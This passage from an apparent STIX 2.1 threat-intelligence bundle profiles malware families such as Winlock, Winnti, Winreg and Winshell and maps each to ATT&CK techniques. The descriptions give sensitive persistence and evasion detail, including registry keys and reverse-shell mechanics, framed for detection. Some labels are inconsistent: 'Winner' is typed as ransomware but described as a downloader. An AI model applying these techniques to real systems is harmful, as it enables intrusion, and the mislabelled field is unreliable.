      "source_ref": "malware--01378312-fc3e-56cc-8c71-0d1ffeb721a5",
      "target_ref": "attack-pattern--dbcdb63c-3a8a-513b-a873-7b9d45a44f59",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Winloadsda exhibits technique T1176 (Browser Extensions)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a99a5cb1-d9a2-510b-b92b-8da93e852725",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--01378312-fc3e-56cc-8c71-0d1ffeb721a5",
      "target_ref": "attack-pattern--9617cd1a-5a22-5e0a-a624-97dbf59822df",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Winloadsda exhibits technique T1112 (Modify Registry)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--9b3fc5f2-d41b-54af-9694-3b9a45803547",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--01378312-fc3e-56cc-8c71-0d1ffeb721a5",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Winloadsda exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ca8b603f-f5c0-5794-acc7-62b06f1ee8ed",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--01378312-fc3e-56cc-8c71-0d1ffeb721a5",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Winloadsda exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--ac120f55-607f-56ec-b7e2-d5a3e845cc6e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Winlock",
      "description": "Winlock (historically documented across threat intelligence platforms under designations including Ransom:Win32/Winlock, Trojan-Ransom.Win32.Winlock, and Win32/Winlock) represents a pioneering and destructive screen-locking ransomware family active since 2010. Distributed through compromised adult websites, malicious codec downloads, and drive-by download vectors, Winlock replaces or hooks the Windows graphical shell (explorer.exe), setting itself as the default shell under HKLM\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon. Upon execution, Winlock renders a non-dismissible, full-screen lockdown banner that covers the desktop, disables Task Manager, registry editing tools, and task switching keystrokes (Alt+Tab, Ctrl+Alt+Del). The locker displays fake legal notices or pornographic scareware messages demanding SMS premium rate messages or cryptocurrency payment to receive a dynamic unlock code. (Observed samples in benchmark: 20)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Ransom:Win32/Winlock",
        "Trojan-Ransom.Win32.Winlock",
        "Win32/Winlock",
        "Ransom.Winlock",
        "Ransom:Win32/Winlock.A"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Winlock",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/winlock"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e2d4290f-2fef-53c6-8f0b-8cda886e3ebf",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ac120f55-607f-56ec-b7e2-d5a3e845cc6e",
      "target_ref": "attack-pattern--781c5255-115d-5757-8797-90b90215b35c",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Winlock exhibits technique T1491.001 (Defacement: Internal Defacement)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e15a1d31-befe-587f-9ca6-cf19b8276d63",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ac120f55-607f-56ec-b7e2-d5a3e845cc6e",
      "target_ref": "attack-pattern--94721101-d9aa-5afe-bf2a-f61447bdc809",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Winlock exhibits technique T1547.004 (Boot or Logon Autostart Execution: Winlogon Helper DLL)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--de942677-5074-56cf-a413-491be2a5ab98",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ac120f55-607f-56ec-b7e2-d5a3e845cc6e",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Winlock exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ea0d6dc6-eb46-5fd5-ab1b-dc0e694442fa",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ac120f55-607f-56ec-b7e2-d5a3e845cc6e",
      "target_ref": "attack-pattern--9617cd1a-5a22-5e0a-a624-97dbf59822df",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Winlock exhibits technique T1112 (Modify Registry)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--edcecb26-9e3f-506e-8f0a-af50491659ca",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ac120f55-607f-56ec-b7e2-d5a3e845cc6e",
      "target_ref": "attack-pattern--4054acd0-ca17-521d-b3cb-772b441a9f32",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Winlock exhibits technique T1189 (Drive-by Compromise)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--4f0a36a1-f4cb-575e-bb95-a6db91eef4f3",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Winner",
      "description": "Trojan:Win32/Winner is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Winner</b><br>To an end-user, a Winner infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Winner is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Winner is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Winner frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Winner reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Winner",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/winner"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b83b9f26-468f-5fc1-a764-36a6627391f7",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--4f0a36a1-f4cb-575e-bb95-a6db91eef4f3",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Winner exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--3b067104-5b53-579f-a1f1-28e9ff067748",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--4f0a36a1-f4cb-575e-bb95-a6db91eef4f3",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Winner exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--3e82042a-67ad-5fc7-b4f1-ebada6c4b938",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--4f0a36a1-f4cb-575e-bb95-a6db91eef4f3",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Winner exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--3804569e-1d9e-5f5d-b40b-2028da85e72f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--4f0a36a1-f4cb-575e-bb95-a6db91eef4f3",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Winner exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--64d500d0-da92-5c25-95f7-abc1d4ba6c3c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--4f0a36a1-f4cb-575e-bb95-a6db91eef4f3",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Winner exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--b711af12-fd8d-591f-8f65-5a527a840400",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Winnti",
      "description": "Backdoor:Win32/Winnti is the flagship modular cyber espionage platform and kernel rootkit family utilized by Chinese state-nexus threat group APT41 (also tracked as Winnti Group, Barium, Wicked Panda, and Double Dragon). Discovered in 2009 and continually modernized over more than a decade, Winnti specializes in software supply chain attacks, digital certificate theft, and intellectual property exfiltration against gaming, telecommunications, aerospace, and semiconductor corporations. Formally indicted by the US Department of Justice in September 2020, APT41 operators use Winnti to execute DLL side-loading via legitimate signed binaries, deploy malicious signed kernel-mode drivers to disable security defenses, and tunnel interactive command shells through custom encrypted protocols. (Observed samples in benchmark: 2)",
      "is_family": true,
      "malware_types": [
        "backdoor"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Winnti",
        "Winnti Backdoor",
        "Backdoor.Winnti",
        "Trojan:Win32/Winnti",
        "Winnti Trojan",
        "APT41 Core Backdoor",
        "Winnti Group Malware"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Winnti",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/winnti"
        },
        {
          "source_name": "cisa-advisory",
          "description": "Official US CISA Cybersecurity Advisory",
          "url": "AA20-258A"
        }
      ],
      "labels": [
        "backdoor",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--4b584ee4-b15e-569f-b8de-a046a69eeb1f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b711af12-fd8d-591f-8f65-5a527a840400",
      "target_ref": "attack-pattern--cd7b3cd0-ed1c-5044-9664-a8e44ddd5e6f",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Winnti exhibits technique T1195.002 (Compromise Software Supply Chain)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--5af50a1f-1fd8-5137-b736-12c541a2a8da",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b711af12-fd8d-591f-8f65-5a527a840400",
      "target_ref": "attack-pattern--a763b4e8-06c3-5399-9705-7b4f6eec4504",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Winnti exhibits technique T1574.002 (DLL Side-Loading)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--0f9e89a1-1f13-5c95-b89a-8801f3fa1bcf",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b711af12-fd8d-591f-8f65-5a527a840400",
      "target_ref": "attack-pattern--5b21f3ea-47ac-581f-9305-2d2e0cbe9c22",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Winnti exhibits technique T1014 (Rootkit)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--9a0c3770-235c-5df0-a4f6-543655ae2087",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b711af12-fd8d-591f-8f65-5a527a840400",
      "target_ref": "attack-pattern--6f631ec3-e630-56f5-aa76-3a7fcdcfd927",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Winnti exhibits technique T1552.004 (Private Keys)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--61293e98-a91b-59bc-bdc4-7f76cd0f6bca",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b711af12-fd8d-591f-8f65-5a527a840400",
      "target_ref": "attack-pattern--8d654e3a-ab3a-5a68-a2dd-c7e622d3b49f",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Winnti exhibits technique T1059.003 (Windows Command Shell)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c451423c-d2ed-5b20-89c1-1c695f4de68b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b711af12-fd8d-591f-8f65-5a527a840400",
      "target_ref": "attack-pattern--9561e493-14f3-5fcb-a83c-f95649da6548",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Winnti exhibits technique T1071.001 (Web Protocols)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--8c0a2103-c693-5fd4-84a8-bbf1c471d3d2",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b711af12-fd8d-591f-8f65-5a527a840400",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Winnti exhibits technique T1547.001 (Registry Run Keys / Startup Folder)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--79cfc91d-1ccf-5ed9-95af-0abd97f98dbc",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Winreg",
      "description": "Trojan:Win32/Winreg (often categorized generically as a **Registry Modifier**) is a classification for malware whose primary defining characteristic is the aggressive, unauthorized modification of the Windows Registry to establish deep persistence, cripple security software, or alter system behavior. While many trojans modify the registry, 'Winreg' designates threats where registry manipulation is the core mechanism of the attack.<br><br><b>Understanding Winreg Trojans</b><br>To an end-user, the infection might not be immediately obvious, though they may experience a suddenly disabled Task Manager or an inability to open the Registry Editor. For a security analyst, Winreg signifies a stealthy threat that is actively attempting to blind the operating system's defenses and embed itself so deeply that standard antivirus removal fails.<br><br><b>Execution and Registry Manipulation Mechanics</b><br>Winreg variants are typically dropped as secondary payloads (`T1105`). Upon execution, the malware heavily leverages the Windows API (e.g., `RegCreateKeyEx`, `RegSetValueEx`) to alter critical system configurations (`T1112`). Common actions include adding entries to `HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run` for persistence (`T1547.001`). Crucially, Winreg often alters policies to disable user access to administrative tools, such as setting `DisableTaskMgr` or `DisableRegistryTools` to `1` (`T1562.001`). It may also modify Safe Mode configurations (`HKLM\\SYSTEM\\CurrentControlSet\\Control\\SafeBoot`) to ensure it runs even in diagnostic modes, or alter file association keys so the malware executes every time a common file type (like `.txt` or `.exe`) is opened.<br><br><b>Indicators of Compromise & Impact</b><br>The primary impact is a degraded security posture and the establishment of highly resilient persistence. The main IoCs are EDR alerts for anomalous registry modifications, particularly changes to the `Policies` hives or the `SafeBoot` keys by an unsigned or unknown process. Users reporting that 'Task Manager has been disabled by your administrator' is a classic symptom of a Winreg infection. (Observed samples in benchmark: 8)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Winreg",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/winreg"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--6797d502-8a8c-57de-b6e6-135f4cdeed0f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--79cfc91d-1ccf-5ed9-95af-0abd97f98dbc",
      "target_ref": "attack-pattern--9617cd1a-5a22-5e0a-a624-97dbf59822df",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Winreg exhibits technique T1112 (Modify Registry)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f400d582-bb4a-55be-a003-149d1e7c7ee3",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--79cfc91d-1ccf-5ed9-95af-0abd97f98dbc",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Winreg exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--42d76d94-4692-5970-b645-ba5f6e1db52a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--79cfc91d-1ccf-5ed9-95af-0abd97f98dbc",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Winreg exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools (Disabling TaskMgr/Regedit))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--4148e3c7-3ba7-5340-9c83-7a927d1f7716",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--79cfc91d-1ccf-5ed9-95af-0abd97f98dbc",
      "target_ref": "attack-pattern--6704b53e-b1a0-5c63-9400-ca25ce6dd0eb",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Winreg exhibits technique T1546.001 (Event Triggered Execution: Change Default File Association)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--88daafd0-cae4-590f-b1c4-f6d83356f27d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Winsecsrv",
      "description": "WinSecSrv (Windows Security Service Trojan) is a stealthy backdoor and trojan downloader active since 2012 that deliberately masquerades as a legitimate Windows core security service. Installed through exploit kits, cracked software bundlers, and malicious downloads, WinSecSrv registers a background Windows service under names like Windows Security Service or WinSecSrv. The malware bypasses user attention by disguising its binary inside %SystemRoot%\\System32 or %ProgramData%, injects into svchost.exe, and establishes encrypted communications with remote C2 infrastructure to download and stage secondary malicious payloads such as infostealers, cryptominers, and rootkits. (Observed samples in benchmark: 45)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan:Win32/WinSecSrv",
        "Trojan.Win32.WinSecSrv",
        "TrojanDownloader:Win32/WinSecSrv",
        "Win32/WinSecSrv"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Winsecsrv",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/winsecsrv"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--4b792706-dd0f-57f2-9666-03701a4dfffc",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--88daafd0-cae4-590f-b1c4-f6d83356f27d",
      "target_ref": "attack-pattern--298d5d84-c03c-507d-b182-00cbc8d5fb24",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Winsecsrv exhibits technique T1036.005 (Masquerading: Match Legitimate Name or Location)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--444e863f-4030-53b5-8223-c53d1f3aba0d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--88daafd0-cae4-590f-b1c4-f6d83356f27d",
      "target_ref": "attack-pattern--811b0131-eca0-5e7e-a296-b88d7ece01bd",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Winsecsrv exhibits technique T1543.003 (Create or Modify System Process: Windows Service)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b7545f72-f2b3-5c9d-91c9-ece7322c929d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--88daafd0-cae4-590f-b1c4-f6d83356f27d",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Winsecsrv exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a2f0a6d1-8bb2-5f6d-b01f-a711473be257",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--88daafd0-cae4-590f-b1c4-f6d83356f27d",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Winsecsrv exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--8178ba6d-c0fc-510c-83cb-0ab19b1594a6",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--88daafd0-cae4-590f-b1c4-f6d83356f27d",
      "target_ref": "attack-pattern--3e454648-d3ff-52aa-9384-1ac06a79ec48",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Winsecsrv exhibits technique T1489 (Service Stop)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--43c03d73-da14-51e1-8ce2-b99d977b3d8b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Winshell",
      "description": "Backdoor:Win32/Winshell represents a category of Remote Access Trojans (RATs) and backdoors designed to provide an attacker with a persistent, interactive Windows command shell (`cmd.exe` or PowerShell) over the network (`T1059.003`). Unlike complex RATs with graphical interfaces, Winshell variants are often minimalist, relying on 'reverse shell' payloads that connect outbound from the victim to the attacker's listening server.<br><br><b>Understanding Winshell (Reverse Shells)</b><br>To an end-user, a Winshell infection is entirely invisible. The command prompt runs hidden in the background (Session 0). For a security team, a Winshell detection is a critical alert. It means an attacker has achieved interactive execution capabilities on the endpoint, allowing them to type commands, execute scripts, modify registry keys, and pivot laterally just as if they were sitting at the keyboard.<br><br><b>Execution and Persistence Mechanics</b><br>Attackers often drop Winshell payloads (like netcat, powercat, or custom C/C++ reverse shells) after exploiting a vulnerable public-facing service (like WebLogic, Exchange, or SMB). The payload executes and immediately opens an outbound TCP/UDP connection to the attacker (`T1071.001`), bypassing most inbound firewall rules. The attacker then binds the standard input and output of `cmd.exe` to that network socket. Persistence is established via scheduled tasks or standard run keys (`T1547.001`).<br><br><b>Indicators of Compromise & Impact</b><br>The impact is total system compromise. Host-based IoCs include EDR alerts for `cmd.exe` or `powershell.exe` making unexpected outbound network connections, or unknown parent processes (like an exploit payload or macro) spawning a command shell. Network IoCs feature long-lived, interactive TCP sessions (often unencrypted) where the traffic patterns mimic the bursty nature of human typing and command execution. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Winshell",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/winshell"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--5cf82982-9e5e-5d30-ae19-584ec999ff1a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--43c03d73-da14-51e1-8ce2-b99d977b3d8b",
      "target_ref": "attack-pattern--8d654e3a-ab3a-5a68-a2dd-c7e622d3b49f",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Winshell exhibits technique T1059.003 (Command and Scripting Interpreter: Windows Command Shell (Providing the attacker with interactive control))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--1e5c2680-95d5-567a-8f47-fee0951f6c4f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--43c03d73-da14-51e1-8ce2-b99d977b3d8b",
      "target_ref": "attack-pattern--9561e493-14f3-5fcb-a83c-f95649da6548",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Winshell exhibits technique T1071.001 (Application Layer Protocol: Web Protocols (Establishing the reverse shell connection))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--8fbe2cb3-133a-51fd-9c48-ed751bb75992",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--43c03d73-da14-51e1-8ce2-b99d977b3d8b",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Winshell exhibits technique T1547.001 (Boot or Logon Autostart Execution (Ensuring the shell reconnects if the machine reboots))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--635350bf-c9e3-54ef-bae8-29e1def85b24",
